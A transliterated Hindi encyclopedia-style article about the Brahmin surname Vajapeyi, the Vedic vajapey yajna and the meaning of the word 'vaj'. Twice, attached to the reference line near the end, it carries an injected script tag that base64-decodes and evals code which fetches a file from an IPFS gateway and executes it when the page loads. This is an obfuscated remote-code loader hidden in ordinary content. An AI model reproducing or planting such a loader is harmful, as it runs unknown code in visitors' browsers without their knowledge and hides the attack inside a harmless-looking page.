वाजपेयी

vajapeyi brahmanoan ke chir-parichit upanamoan ya kul gotroan mean ek hai. ise 'bajapeee', 'bajapayi' bhi likha jata hai, kintu sahi roop 'vajapeyi' hi hai. 'vajapeyi' upanam bhi jnan parampara se ju da hai aur isaka rishta vaidik sanskriti ke ek pramukh anushthan 'vajapey yajn' se hai, jo poorvavaidik kal ki krishi sanskriti ki den hai. brahman granthoan ke anusar vajapey anushthan karane ka adhikar sirph brahman aur kshatriy varnoan ko hi tha. yah to spasht hai ki aryoan mean yajn ki paripati janamangal aur janakalyan ki bhavana se thi, bad mean isane roodh anushthanoan ka roop liya.

purohit aur brahman varg ke lagatar takatavar hote jane aur mahatvakaanksha badhane ke parinamasvaroop vajapeyi varg mean bhi kee varg-upavarg paida ho ge, jo apane star par vaidik sanhitaoan aur sanchit jnan ki vyakhya karane lage. uddheshy samant aur shreshthi varg mean apana varchasv kayam karana tha. puranopanishad kal mean yah jhamela shuroo hua aur phir itana badha ki usaki pratikriyasvaroop hindutv ke bhitar se hi bauddh dharm janma jo moolatah brahmanavad ke viruddh tha.^[1]

vajapey yajn

shatapath brahman mean vajapey yajn ke bare mean vistar se vivaran milata hai. is yajn ka mahatv 'rajasooy yajn' se bhi adhik tha. is yajn ka ek khas hissa rath dau d tha. rath dau d ka vijeta vijay bhoj prapt karata tha. halaanki pratit hota hai ki prabhavashali varg ka rath pahale hi sabase age rahata tha aur aant mean use hi vijayi ghoshit kiya jata tha. prachin kal mean yah manyata thi ki rajy ka adhikari vahi vyakti ho sakata tha, jisane rajasooy yajn kiya ho arthat rajyabhishek ke lie rajasooy yajn avashyak tha aur samrat banane ke lie vajapey yajn zaroori tha. pauranik sandarbhoan ke anusar indr vajapey yajn karane ke karan samrat kahalate haian, jabaki varun rajasooy yajn karane ke karan raja kahalate haian. vajapey yajn ko svargadhipaty ke barabar bataya gaya hai. halaanki yah atishayokti hai aur purohitoan dvara apana prabhav badhane aur rajaoan ko khush karane ke lie aisi batean pracharit huee hoangi.

arth

vajapey yajn krishi sanskriti se upaja ek lokotsav tha. sanskrit mean 'vaj' shabd ki arthavatta bahut vyapak hai, kintu aantatah isase upajane vale sabhi arth poorvavaidik kal ki jan aur gram sanskriti se ubhare hue najar ate haian. 'vaj' ka arth hai khady, upaj, anaj, bhojan adi. jab yah shabd yajn ki paridhi mean aya to isaka arth 'samidha' bhi ho gaya. 'vaj' (pey) mean samrihddhi ka jo bhav hai, vah upaj, anaj se hi a raha hai. ann se hi sharir ko svasthy samriddhi milati hai. krishi upaj ke roop mean isase bhautik samriddhi ati hai. vaj ka arth kshamata, utsah, josh, gati, veg bhi hai. d aau. vasudevasharan agraval 'meghadoot mimaansa' mean 'vaj' ki darshanik vyakhya karate hue likhate haian ki- "vaj jivan ras hai." vaj ke arth ann-viry adi haian. varsha rritu mean vanaspatiyaan, oshadhiyaan viryavati hoti haian. yahaan tatpary unake prabhavi hone, kshamatavan hone se hai.^[1]

vaj ko sharir mean hi pacha lene ya atmaviry ko sharir ke koshoan mean sambhrit karane ka nam hi vajapey hai. jisane is vaj ko vijnanapoorvak khud mean samoan liya hai, vahi bharadvaj (bharadh+vaj) hai. tatpary hai ki ann se prapt shakti athava jivan ras ka sashakt sanket vaj mean nihit hai. jis tarah se varsha rritu mean prakriti ko vaj prapt hota hai taki prani jagat ko shakti mile, usi tarah ann ke roop mean manushy ko bhi vaj arthat shakti prapt hoti hai, jisaka upayog vah janakalyan ke lie kar sake. gauratalab hai ki vaidik sahity mean yajurved mean hi vibhinn anushthanoan, vidhanoan ka ullekh hai. prakriti ke bhitar sabhi rrituean vajavati haian. agni, soory, vayu sabhi poorn vajapeyi haian arthat ye apane bhitar ke tej se hi shaktivan haian.

pandurang vaman kane ka ullekh

d aau. pandurang vaman kane 'dharmashastr ka itihas' (khand ek) mean vajapey ke bare mean likhate haian- “bhojan evan pey ya shakti ka pina ya bhojan ka pina ya dau d ka pina. yah bhi ek prakar ka somayajn hai, arthath isamean bhi som ras ka pan hota hai, atah is is yajn ke sampadan se bhojan (ann), shakti adi ki prapti hoti hai.” rrigvaidik kal mean sat tarah ke somayajn prachalit the, jinamean ek 'vajapey' bhi tha. yahaan gauratalab hai ki som ke vishay mean aj tak kuchh bhi thos aur pramanik janakari nahian hai, bas kalpana ki u danean khoob bhari gee haian. som se sanbandhit paramparaean poorv vaidik kal se chali a rahi haian, jinase itana hi pata chalata hai ki ise ek pavitr paudha mana jata tha. isake ras ka pan karana anushthanik karm mana jata tha aur isaka sanbandh shakti aur ann samriddhi se tha. is paudhe mean chandrama ka pratik jo da gaya.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 vajapeyi (hindi). . abhigaman tithi: 15 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 vajapeyi (hindi). . abhigaman tithi: 15 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]